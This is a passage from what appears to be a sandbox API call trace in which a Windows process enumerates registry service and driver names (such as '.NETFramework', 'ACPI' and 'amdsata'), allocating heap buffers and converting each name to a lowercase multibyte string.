cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0253.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1e38, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0253.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0253.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1c40, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0253.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.789] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0253.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0253.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0253.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.790] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0253.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0253.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0253.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0253.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1e38, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0253.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0253.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0253.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0253.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0253.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.791] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0253.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0253.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0253.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0253.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0253.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1c40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0253.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.792] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0253.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0253.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0253.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0253.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0253.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0253.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0253.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0253.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.793] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0253.793] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0253.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0253.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0253.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0253.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0253.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0253.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0253.794] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.794] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0253.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 